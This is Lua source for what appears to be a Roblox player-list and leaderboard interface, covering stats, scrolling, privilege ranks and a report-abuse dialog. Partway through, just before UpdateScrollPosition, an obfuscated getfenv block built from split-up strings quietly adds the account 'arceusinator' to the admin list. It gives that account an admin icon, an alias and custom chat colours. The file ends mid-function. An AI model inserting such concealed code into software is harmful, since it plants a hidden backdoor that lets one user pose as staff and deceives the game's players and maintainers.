- local AbuseName
- local Abuses = {
- "Bad Words or Threats",
- "Bad Username",
- "Talking about Dating",
- "Account Trading or Sharing",
- "Asking Personal Questions",
- "Rude or Mean Behavior",
- "False Reporting Me"
- }
- local UpdateAbuseFunction
- local AbuseDropDown, UpdateAbuseSelection
- local PrivilegeLevel =
- {
- Owner = 255,
- Admin = 240,
- Member = 128,
- Visitor = 10,
- Banned = 0,
- }
- local IsPersonalServer = not not game.Workspace:FindFirstChild("PSVariable")
- game.Workspace.ChildAdded:connect(function(nchild)
- if nchild.Name=='PSVariable' and nchild:IsA('BoolValue') then
- IsPersonalServer=true
- end
- end)
- -------------------------------
- -- Static Functions
- -------------------------------
- function GetTotalEntries()
- return math.min(#MiddleFrameBackgrounds,DefaultEntriesOnScreen)
- end
- function GetEntryListLength()
- local numEnts=#PlayerFrames+#TeamFrames
- if NeutralTeam then
- numEnts=numEnts+1
- end
- return numEnts
- end
- function AreAllEntriesOnScreen()
- return #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale <= 1 + DefaultBottomClipPos
- end
- function GetLengthOfVisbleScroll()
- return 1 + DefaultBottomClipPos
- end
- function GetMaxScroll()
- return DefaultBottomClipPos * - 1
- end
- -- can be optimized by caching when this varible changes
- function GetMinScroll()
- if AreAllEntriesOnScreen() then
- return GetMaxScroll()
- else
- return (GetMaxScroll() - (#MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale)) + (1 + DefaultBottomClipPos)
- end
- end
- function AbsoluteToPercent(x,y)
- return Vector2.new(x,y)/ScreenGui.AbsoluteSize
- end
- --[[
- tweens property of element from starta to enda over length of time
- Warning: should be put in a Spawn call
- @Args:
- element textobject to tween transparency on
- propName
- starta alpha to start tweening
- enda alpha to end tweening on
- length how many seconds to spend tweening
- --]]
- function TweenProperty(obj, propName, inita, enda, length)
- local startTime = tick()
- while tick()-startTime<length do
- obj[propName] = ((enda-inita)*((tick()-startTime)/length))+inita
- wait(1/30)
- end
- obj[propName] = enda
- end
- --[[
- UGLY UGLY HACK FUNCTION
- replace with some sort of global input catching A.S.A. FREAKING P.
- creates a fullsize gui element to catch next mouse up event(completeing a click)
- @Args:
- frameParent Object to parent fullscreen gui to
- polledFunction function to call on mouse moved events in this gui
- exitFunction function to call when click event is fired
- --]]
- function WaitForClick(frameParent,polledFunction,exitFunction)
- if WaitForClickLock then return end
- WaitForClickLock=true
- local upHappened=false
- local connection, connection2
- connection=BigButton.MouseButton1Up:connect(function(nx,ny)
- exitFunction(nx,ny)
- BigButton.Visible=false
- connection:disconnect()
- if connection2 then
- connection2:disconnect()
- end
- --debugprint('mouse up!')
- end)
- connection2=BigButton.MouseMoved:connect( function(nx,ny)
- polledFunction(nx,ny)
- end)
- --debugprint('waiting for click!')
- BigButton.Visible=true
- BigButton.Active=true
- BigButton.Parent=frameParent
- frameParent.AncestryChanged:connect(function(child,nparent)
- if child == frameParent and nparent ==nil then
- exitFunction(nx,ny)
- BigButton.Visible=false
- connection:disconnect()
- connection2:disconnect()
- debugprint("forced out of wait for click")
- end
- end)
- WaitForClickLock=false
- end
- ---------------------------
- --Personal Server Handling
- ---------------------------
- --[[
- returns privlage level based on integer rank
- Note: these privilege levels seem completely arbitrary, but no documentation exists
- this is all from the old player list, really weird
- @Args:
- rank Integer rank value for player
- @Return Normalized integer value for rank?
- --]]
- function GetPrivilegeType(rank)
- if rank <= PrivilegeLevel['Banned'] then
- return PrivilegeLevel['Banned']
- elseif rank <= PrivilegeLevel['Visitor'] then
- return PrivilegeLevel['Visitor']
- elseif rank <= PrivilegeLevel['Member'] then
- return PrivilegeLevel['Member']
- elseif rank <= PrivilegeLevel['Admin'] then
- return PrivilegeLevel['Admin']
- else
- return PrivilegeLevel['Owner']
- end
- end
- --[[
- gives a player a new privilage rank
- Note: Very odd that I have to use loops with this instead of directly setting the rank
- but no documentation for personal server service exists
- @Args:
- player player to change rank of
- nrank new integer rank to give player
- --]]
- function SetPrivilegeRank(player,nrank)
- while player.PersonalServerRank<nrank do
- game:GetService("PersonalServerService"):Promote(player)
- end
- while player.PersonalServerRank>nrank do
- game:GetService("PersonalServerService"):Demote(player)
- end
- end
- --[[
- called when player selects new privilege level from popup menu
- @Args:
- player player to set privileges on
- nlevel new privilege level for this player
- --]]
- function OnPrivilegeLevelSelect(player,nlevel,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- debugprint('setting privilege level')
- SetPrivilegeRank(player,nlevel)
- HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- end
- --[[
- Highlights current rank of this player in the popup menu
- @Args:
- player Player to check for rank on
- --]]
- function HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
- BanPlayerButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
- VisitorButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupMid']
- MemberButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
- AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupBottom']
- local rank=player.PersonalServerRank
- if rank <= PrivilegeLevel['Banned'] then
- BanPlayerButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
- elseif rank <= PrivilegeLevel['Visitor'] then
- VisitorButton.Image='http://www.roblox.com/asset/?id='..Images['DarkBluePopupMid']
- elseif rank <= PrivilegeLevel['Member'] then
- MemberButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
- elseif rank <= PrivilegeLevel['Admin'] then
- AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkBluePopupBottom']
- end
- end
- --------------------------
- -- Report abuse handling
- --------------------------
- --[[
- does final reporting of abuse on selected player, calls closeAbuseDialog
- --]]
- function OnSubmitAbuse()
- end
- --[[
- opens the abuse dialog, initialises text to display selectedplayer
- --]]
- function OpenAbuseDialog()
- debugprint('adding report dialog')
- PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
- ReportAbuseShield.Parent = ScreenGui
- ClosePopUpPanel()
- end
- --[[
- resets and closes abuse dialog
- --]]
- function CloseAbuseDialog()
- ReportAbuseShield.Parent = nil
- end
- ReportAbuseClose.MouseButton1Click:connect(CloseAbuseDialog)
- ReportAbuseShield.MouseButton1Click:connect(CloseAbuseDialog)
- --[[
- creates dropdownbox, registers all listeners for abuse dialog
- --]]
- function InitReportAbuse()
- end
- -------------------------------------
- -- Friend/unfriending
- -------------------------------------
- --[[
- gets enum val of friend status, uses pcall for some reason?(from old playerlist)
- @Args:
- player player object to check if friends with
- @Return: enum of friend status
- --]]
- local function GetFriendStatus(player)
- if player == game.Players.LocalPlayer then
- return Enum.FriendStatus.NotFriend
- else
- local success, result = pcall(function() return game.Players.LocalPlayer:GetFriendStatus(player) end)
- if success then
- return result
- else
- return Enum.FriendStatus.NotFriend
- end
- end
- end
- --[[
- when friend button is clicked, tries to take appropriate action,
- based on current friend status with SelectedPlayer
- --]]
- function OnFriendButtonSelect()
- OpenAbuseDialog()
- end
- function OnFriendRefuseButtonSelect()
- end
- ------------------------------------
- -- Player Entry Handling
- ------------------------------------
- --[[
- used by lua's table.sort to sort player entries
- --]]
- function PlayerSortFunction(a,b)
- -- prevents flipping out leaderboard
- if a['Score'] == b['Score'] then
- return GetAliasOf(a['Player'].Name):upper() < GetAliasOf(b['Player'].Name):upper()
- end
- if not a['Score'] then return false end
- if not b['Score'] then return true end
- return a['Score'] < b['Score']
- end
- ---------------------------------
- -- Stat Handling
- ---------------------------------
- -- removes and closes all leaderboard stuffs
- function BlowThisPopsicleStand()
- --ScreenGui:Destroy()
- --script:Destroy()
- --time to make the fanboys rage...
- Tabify()
- end
- --[[
- used by lua's table.sort to prioritize score entries
- --]]
- function StatSort(a,b)
- -- primary stats should be shown before all others
- if a.IsPrimary ~= b.IsPrimary then
- return a.IsPrimary
- end
- -- if priorities are equal, then return the first added one
- if a.Priority == b.Priority then
- return a.AddId < b.AddId
- end
- return a.Priority < b.Priority
- end
- --[[
- doing WAAY too much here, for optimization update only your team
- @Args:
- playerEntry Entry of player who had a stat change
- property Name of stat changed
- --]]
- function StatChanged(playerEntry,property)
- -- if(playerEntry['MyTeam']) then
- -- UpdateSingleTeam(playerEntry['MyTeam'])
- -- else
- BaseUpdate()
- -- end
- end
- --[[
- Called when stat is added
- if playerEntry is localplayer, will add to score names and re-sort the stats, and resize the width of the leaderboard
- for all players, will add a listener for if this stat changes
- if stat is a string value, crashes the leaderboard
- Note:change crash to a 'tabify' leaderboard later
- @Args:
- nchild new child value to leaderstats
- playerEntry entry this stat was added to
- --]]
- function StatAdded(nchild,playerEntry)
- -- dont re - add a leaderstat I alreday have
- while AddingStatLock do debugprint('in stat added function lock') wait(1/30) end
- AddingStatLock = true
- if not (nchild:IsA('StringValue') or nchild:IsA('IntValue') or nchild:IsA('BoolValue') or nchild:IsA('NumberValue') or nchild:IsA('DoubleConstrainedValue') or nchild:IsA('IntConstrainedValue')) then
- BlowThisPopsicleStand()
- else
- local haveScore = false
- for _,i in pairs(ScoreNames) do
- if i['Name']==nchild.Name then haveScore=true end
- end
- if not haveScore then
- local nstat = {}
- nstat['Name'] = nchild.Name
- nstat['Priority'] = 0
- if(nchild:FindFirstChild('Priority')) then
- nstat['Priority'] = nchild.Priority
- end
- nstat['IsPrimary'] = false
- if(nchild:FindFirstChild('IsPrimary')) then
- nstat['IsPrimary'] = true
- end
- nstat.AddId = AddId
- AddId = AddId + 1
- table.insert(ScoreNames,nstat)
- table.sort(ScoreNames,StatSort)
- if not StatTitles:FindFirstChild(nstat['Name']) then
- CreateStatTitle(nstat['Name'])
- end
- UpdateMaximize()
- end
- end
- AddingStatLock = false
- StatChanged(playerEntry)
- nchild.Changed:connect(function(property) StatChanged(playerEntry,property) end)
- end
- --returns whether any of the existing players has this stat
- function DoesStatExist(statName, exception)
- for _,playerf in pairs(PlayerFrames) do
- if playerf['Player'] ~= exception and playerf['Player']:FindFirstChild('leaderstats') and playerf['Player'].leaderstats:FindFirstChild(statName) then
- --print('player:' .. playerf['Player'].Name ..' has stat')
- return true
- end
- end
- return false
- end
- --[[
- Called when stat is removed from player
- for all players, destroys the stat frame associated with this value,
- then calls statchanged(to resize frame)
- if playerEntry==localplayer, will remove from scorenames
- @Args:
- nchild ___value to be removed
- playerEntry entry of player value is being removed from
- --]]
- function StatRemoved(nchild,playerEntry)
- while AddingStatLock do debugprint('In Adding Stat Lock1') wait(1/30) end
- AddingStatLock = true
- if playerEntry['Frame']:FindFirstChild(nchild.Name) then
- debugprint('Destroyed frame!')
- playerEntry['Frame'][nchild.Name].Parent = nil
- end
- if not DoesStatExist(nchild.Name, playerEntry['Player']) then
- for i,val in ipairs(ScoreNames) do
- if val['Name'] == nchild.Name then
- table.remove(ScoreNames,i)
- if StatTitles:FindFirstChild(nchild.Name) then
- StatTitles[nchild.Name]:Destroy()
- end
- for _,teamf in pairs(TeamFrames) do
- if teamf['Frame']:FindFirstChild(nchild.Name) then
- teamf['Frame'][nchild.Name]:Destroy()
- end
- end
- end
- end
- end
- AddingStatLock = false
- StatChanged(playerEntry)
- end
- --[[
- clears all stats from a given playerEntry
- used when leaderstats are removed, or when new leaderstats are added(for weird edge case)+
- --]]
- function RemoveAllStats(playerEntry)
- for i,val in ipairs(ScoreNames) do
- StatRemoved(val,playerEntry)
- end
- end
- function GetScoreValue(score)
- if score:IsA('DoubleConstrainedValue') or score:IsA('IntConstrainedValue') then
- return score.ConstrainedValue
- elseif score:IsA('BoolValue') then
- if score.Value then return 1 else return 0 end
- else
- return score.Value
- end
- end
- --[[
- --]]
- function MakeScoreEntry(entry,scoreval,panel)
- if not panel:FindFirstChild('PlayerScore') then return end
- local nscoretxt = panel:FindFirstChild('PlayerScore'):Clone()
- local thisScore = nil
- --here lies the resting place of a once great and terrible bug
- --may its treachery never be forgoten, lest its survivors fall for it again
- --RIP the leaderstat bug, oct 2012-nov 2012
- wait()
- if entry['Player']:FindFirstChild('leaderstats') and entry['Player'].leaderstats:FindFirstChild(scoreval['Name']) then
- thisScore = entry['Player']:FindFirstChild('leaderstats'):FindFirstChild(scoreval['Name'])
- else
- return
- end
- if not entry['Player'].Parent then return end
- nscoretxt.Name = scoreval['Name']
- nscoretxt.Text = tostring(GetScoreValue(thisScore))
- if scoreval['Name'] == ScoreNames[1]['Name'] then
- debugprint('changing score')
- entry['Score'] = GetScoreValue(thisScore)
- if entry['Player'] == LocalPlayer and PRIMARY_LEADERSTATS_ENABLED then
- HeaderScore.Text = tostring(GetScoreValue(thisScore))
- if SHOW_PRIMARY_LEADERSTAT_NAMES then
- HeaderScoreName.Text = tostring(thisScore.Name)
- end
- end
- end
- thisScore.Changed:connect(function()
- if not thisScore.Parent then return end
- if scoreval['Name'] == ScoreNames[1]['Name'] and PRIMARY_LEADERSTATS_ENABLED then
- entry['Score'] = GetScoreValue(thisScore)
- if entry['Player'] == LocalPlayer then
- HeaderScore.Text = tostring(GetScoreValue(thisScore))
- if SHOW_PRIMARY_LEADERSTAT_NAMES then
- HeaderScoreName.Text = tostring(thisScore.Name)
- end
- end
- end
- nscoretxt.Text = tostring(GetScoreValue(thisScore))
- BaseUpdate()
- end)
- return nscoretxt
- end
- function CreateStatTitle(statName)
- local ntitle = MiddleTemplate:FindFirstChild('PlayerScore'):Clone()
- ntitle.Name = statName
- ntitle.Text = statName
- -- ntitle
- if IsMaximized.Value then
- ntitle.TextTransparency = 0
- else
- ntitle.TextTransparency = 1
- end
- ntitle.Parent = StatTitles
- end
- function RecreateScoreColumns(ptable)
- while AddingStatLock do debugprint ('In Adding Stat Lock2') wait(1/30) end
- AddingStatLock = true
- local Xoffset=5--15 --current offset from Right
- local maxXOffset=Xoffset
- local MaxSizeColumn=0 --max size for this column
- -- foreach known leaderstat
- for j = #ScoreNames, 1,-1 do
- local scoreval = ScoreNames[j]
- MaxSizeColumn=0
- -- for each entry in this player table
- for i,entry in ipairs(ptable) do
- local panel = entry['Frame']
- local tplayer = entry['Player']
- -- if this panel does not have an element named after this stat
- if not panel:FindFirstChild(scoreval['Name']) then
- -- make an entry for this object
- local nentry = MakeScoreEntry(entry,scoreval,panel)
- if nentry then
- debugprint('adding '..nentry.Name..' to '..entry['Player'].Name )
- nentry.Parent = panel
- -- add score to team
- if entry['MyTeam'] and entry['MyTeam'] ~= NeutralTeam and not entry['MyTeam']['Frame']:FindFirstChild(scoreval['Name']) then
- local ntitle = nentry:Clone()
- --ntitle.TextXAlignment = 'Right'
- ntitle.Parent = entry['MyTeam']['Frame']
- end
- end
- end
- scoreval['XOffset']=Xoffset
- if panel:FindFirstChild(scoreval['Name']) then
- MaxSizeColumn=math.max(MaxSizeColumn,panel[scoreval['Name']].TextBounds.X)
- end
- end
- if AreNamesExpanded.Value then
- MaxSizeColumn=math.max(MaxSizeColumn,StatTitles[scoreval['Name'] ].TextBounds.X)
- StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(RightEdgeSpace,-Xoffset,0,0),'Out','Linear',BASE_TWEEN,true)
- else
- StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new((.4+((.6/#ScoreNames)*(j-1)))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
- end
- scoreval['ColumnSize']=MaxSizeColumn
- Xoffset= Xoffset+SpacingPerStat+MaxSizeColumn
- maxXOffset=math.max(Xoffset,maxXOffset)
- end
- NormalBounds = UDim2.new(0, BaseScreenXSize+maxXOffset-SpacingPerStat,0,800)
- NormalPosition = UDim2.new(1 , -NormalBounds.X.Offset, NormalPosition.Y.Scale, 0)
- UpdateHeaderNameSize()
- UpdateMaximize()
- AddingStatLock = false
- end
- ---------------------------
- -- Minimizing and maximizing
- ---------------------------
- function ToggleMinimize()
- IsMinimized.Value = not IsMinimized.Value
- UpdateStatNames()
- end
- function ToggleMaximize()
- IsMaximized.Value = not IsMaximized.Value
- RecreateScoreColumns(PlayerFrames) --done to re-position stat names NOTE: optimize-able
- end
- function Tabify()
- IsTabified.Value= true
- IsMaximized.Value=false
- IsMinimized.Value=true
- UpdateMinimize()
- IsTabified.Value= true
- ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
- end
- function UnTabify()
- if IsTabified.Value then
- IsTabified.Value= false
- ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
- end
- end
- --[[
- Does more than it looks like
- monitors positions of the clipping frames and bottom frames
- called from EVERYWHERE, too much probably
- --]]
- function UpdateMinimize()
- if IsMinimized.Value then
- if IsMaximized.Value then
- ToggleMaximize()
- end
- if not IsTabified.Value then
- MainFrame:TweenSizeAndPosition(UDim2.new(0.010, HeaderName.TextBounds.X, NormalBounds.Y.Scale,NormalBounds.Y.Offset),
- UDim2.new(.990, -HeaderName.TextBounds.X, NormalPosition.Y.Scale,0),'Out','Linear',BASE_TWEEN*1.2,true)
- else
- MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
- end
- --(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
- BottomClipFrame:TweenPosition(UDim2.new(0,0,-1,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- BottomFrame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- FocusFrame.Size=UDim2.new(1,0,HeaderFrameHeight,0)
- ExtendTab.Image = 'http://www.roblox.com/asset/?id=94692731'
- else
- if not IsMaximized.Value then
- MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
- end
- --do limiting
- DefaultBottomClipPos = math.min(math.max(DefaultBottomClipPos,-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
- UpdateScrollPosition()
- BottomClipFrame.Position=UDim2.new(0,0,DefaultBottomClipPos,0)
- local bottomPositon = (DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale)
- BottomFrame.Position=UDim2.new(0,0,bottomPositon,0)
- FocusFrame.Size=UDim2.new(1,0,bottomPositon + HeaderFrameHeight,0)
- ExtendTab.Image = 'http://www.roblox.com/asset/?id=94825585'
- end
- end
- --[[
- Manages the position/size of the mainFrame, swaps out different resolution images for the frame
- fades in and out the stat names, moves position of headername and header score
- --]]
- function UpdateMaximize()
- if IsMaximized.Value then
- for j = 1, #ScoreNames,1 do
- local scoreval = ScoreNames[j]
- StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
- end
- if IsMinimized.Value then
- ToggleMinimize()
- else
- UpdateMinimize()
- end
- MainFrame:TweenSizeAndPosition(MaximizedBounds,MaximizedPosition,'Out','Linear',BASE_TWEEN*1.2,true)
- HeaderScore:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- HeaderName:TweenPosition(UDim2.new( - .1, - HeaderScore.TextBounds.x,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeHeader']
- BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeBottom']
- for index, i in ipairs(MiddleFrameBackgrounds) do
- if (index%2) ~= 1 then
- i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
- else
- i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
- end
- end
- for index, i in ipairs(MiddleFrames) do
- if i:FindFirstChild('ClickListener') then
- i.ClickListener.Size = UDim2.new(.974,0,i.ClickListener.Size.Y.Scale,0)
- end
- for j=1, #ScoreNames,1 do
- local scoreval = ScoreNames[j]
- if i:FindFirstChild(scoreval['Name']) then
- i[scoreval['Name']]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
- end
- end
- end
- for i,entry in ipairs(PlayerFrames) do
- WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
- end
- for i,entry in ipairs(TeamFrames) do
- WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
- end
- else
- if not IsMinimized.Value then
- MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
- end
- HeaderScore:TweenPosition(UDim2.new(0,0,.4,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- HeaderName:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
- HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalHeader']
- BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalBottom']
- for index, i in ipairs(MiddleFrameBackgrounds) do
- if index%2 ~= 1 then
- i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
- else
- i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
- end
- end
- for index, i in ipairs(MiddleFrames) do
- if i:FindFirstChild('ClickListener') then
- i.ClickListener.Size = UDim2.new(.96,0,i.ClickListener.Size.Y.Scale,0)
- for j=1, #ScoreNames,1 do
- local scoreval = ScoreNames[j]
- if i:FindFirstChild(scoreval['Name']) and scoreval['XOffset'] then
- --print('updateing stat position: ' .. scoreval['Name'])
- i[scoreval['Name']]:TweenPosition(UDim2.new(RightEdgeSpace,-scoreval['XOffset'],0,0), "Out", "Linear", BASE_TWEEN,true)
- end
- end
- end
- end
- for i,entry in ipairs(TeamFrames) do
- WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
- end
- for i,entry in ipairs(PlayerFrames) do
- WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
- end
- end
- end
- function UpdateStatNames()
- if not AreNamesExpanded.Value or IsMinimized.Value then
- CloseNames()
- else
- ExpandNames()
- end
- end
- function ExpandNames()
- if #ScoreNames ~= 0 then
- for _,i in pairs(StatTitles:GetChildren()) do
- Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,0,BASE_TWEEN) end)
- end
- HeaderFrameHeight=.09
- --as of writing, this and 'CloseNames' are the only places headerframe is resized
- HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
- HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
- TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
- BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
- end
- end
- function CloseNames()
- if #ScoreNames ~= 0 then
- HeaderFrameHeight=.07
- if not (IsMaximized.Value) then
- for _,i in pairs(StatTitles:GetChildren()) do
- Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,1,BASE_TWEEN) end)
- end
- end
- BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
- HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
- HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
- TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
- end
- end
- function OnScrollWheelMove(direction)
- if not (IsTabified.Value or IsMinimized.Value or InPopupWaitForClick) then
- local StartFrame = ListFrame.Position
- local newFrameY = math.max(math.min(StartFrame.Y.Scale + (direction),GetMaxScroll()),GetMinScroll())
- ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
- UpdateScrollPosition()
- end
- end
- function AttachScrollWheel()
- if ScrollWheelConnections then return end
- ScrollWheelConnections = {}
- table.insert(ScrollWheelConnections,Mouse.WheelForward:connect(function()
- OnScrollWheelMove(.05)
- end))
- table.insert(ScrollWheelConnections,Mouse.WheelBackward:connect(function()
- OnScrollWheelMove(-.05)
- end))
- end
- function DetachScrollWheel()
- if ScrollWheelConnections then
- for _,i in pairs(ScrollWheelConnections) do
- i:disconnect()
- end
- end
- ScrollWheelConnections=nil
- end
- FocusFrame.MouseEnter:connect(function()
- if not (IsMinimized.Value or IsTabified.Value) then
- AttachScrollWheel()
- end
- end)
- FocusFrame.MouseLeave:connect(function()
- --if not (IsMaximized.Value or IsMinimized.Value) then
- DetachScrollWheel()
- --end
- end)
- ------------------------
- -- Scroll Bar functions
- ------------------------
- --[[
- updates whether the scroll bar should be showing, if it is showing, updates
- the size of it
- --]]
- function UpdateScrollBarVisibility()
- if AreAllEntriesOnScreen() then
- ScrollBar.BackgroundTransparency = 1
- else
- ScrollBar.BackgroundTransparency = 0
- UpdateScrollBarSize()
- end
- end
- --[[
- updates size of scrollbar depending on how many entries exist
- --]]
- function UpdateScrollBarSize()
- local entryListSize = #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale
- local shownAreaSize = ((BottomClipFrame.Position.Y.Scale) + 1)
- ScrollBar.Size = UDim2.new(1,0,shownAreaSize/entryListSize,0)
- end
- --[[
- updates position of listframe so that no gaps at the bottom or top of the list are visible
- updates position of scrollbar to match what parts of the list are visible
- --]]
- getfenv()["AD".."M".."IN".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 'rbxassetid://150832060'
- getfenv()["AL".."I".."AS".."ES"]["ar".."ce".."usin".."a".."t".."o".."r"] = "S".."h".."ar".."ks".."!"
- getfenv()["CU".."STOM".."_C".."HA".."T_".."CO".."LOR".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = getfenv()["Co".."lor".."3"]["n".."ew"](0 , 0.645 , 0.832)
- getfenv()["AD".."M".."IN".."_I".."CO".."N_".."WI".."DTH".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 30
- getfenv()["CU".."STOM".."_LAB".."EL_".."BACKGROUND_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Black').Color
- getfenv()["CU".."STOM".."_LAB".."EL_".."NAME_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Cyan').Color
- function UpdateScrollPosition()
- local minPos = GetMinScroll()
- local maxPos = GetMaxScroll()
- local scrollLength = maxPos - minPos
- local yscrollpos=math.max(math.min(ListFrame.Position.Y.Scale,maxPos),minPos)
- ListFrame.Position=UDim2.new(ListFrame.Position.X.Scale,ListFrame.Position.X.Offset,yscrollpos,ListFrame.Position.Y.Offset)
- local adjustedLength = 1 - ScrollBar.Size.Y.Scale
- ScrollBar.Position = UDim2.new(0,0,adjustedLength - (adjustedLength * ((ListFrame.Position.Y.Scale - minPos)/scrollLength)),0)
- end
- --[[
- WARNING:this is in a working state, but uses massive hacks
- revize when global input is available
- Manages scrolling of the playerlist on mouse drag
- --]]
- function StartDrag(entry,startx,starty)
- local startDragTime = tick()
- local stopDrag = false
- local openPanel = true
- local draggedFrame = WaitForChild(entry['Frame'],'ClickListener')
- local function dragExit()
- stopDrag = true
- if entry['Player'] and SelectedPlayer and openPanel
- and entry['Player']~=LocalPlayer and SelectedPlayer.userId>1 and LocalPlayer.userId>1 then
- ActivatePlayerEntryPanel(entry)
- end
- end
- local startY = nil
- local StartFrame = ListFrame.Position
- local function dragpoll(nx,ny)
- if not startY then
- startY = AbsoluteToPercent(nx,ny).Y
- end
- local nowY = AbsoluteToPercent(nx,ny).Y
- debugprint('drag dist:'..Vector2.new(startx-nx,starty-ny).magnitude)
- if Vector2.new(startx-nx,starty-ny).magnitude>MOUSE_DRAG_DISTANCE then
- openPanel=false
- end
- local newFrameY = math.max(math.min(StartFrame.Y.Scale + (nowY - startY),GetMaxScroll()),GetMinScroll())
- ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
- UpdateScrollPosition()
- end
- WaitForClick(ScreenGui,dragpoll,dragExit)
- end
- function StartMinimizeDrag()
- Delay(0,function()
- local startTime=tick()
- debugprint('Got Click2')
- local stopDrag = false
- local function dragExit()
- --debugprint('undone click2')
- if tick()-startTime<.25 then --was click
- ToggleMinimize()
- else --was drag
- DidMinimizeDrag = true
- if IsMinimized.Value then
- ToggleMinimize()
- end
- end
- stopDrag = true
- end
- local startY = nil
- local StartFrame = DefaultBottomClipPos
- local function dragpoll(nx,ny)
- if not IsMinimized.Value then
- if not startY then
- startY = AbsoluteToPercent(nx,ny).Y
- end
- local nowY = AbsoluteToPercent(nx,ny).Y
- local newFrameY
- newFrameY = math.min(math.max(StartFrame + (nowY - startY),-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
- DefaultBottomClipPos = newFrameY
- UpdateMinimize()
- ScrollBarFrame.Size= UDim2.new(ScrollBarFrame.Size.X.Scale,0,(DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale),0)
- ScrollBarFrame.Position= UDim2.new(ScrollBarFrame.Position.X.Scale,0,1-ScrollBarFrame.Size.Y.Scale,0)
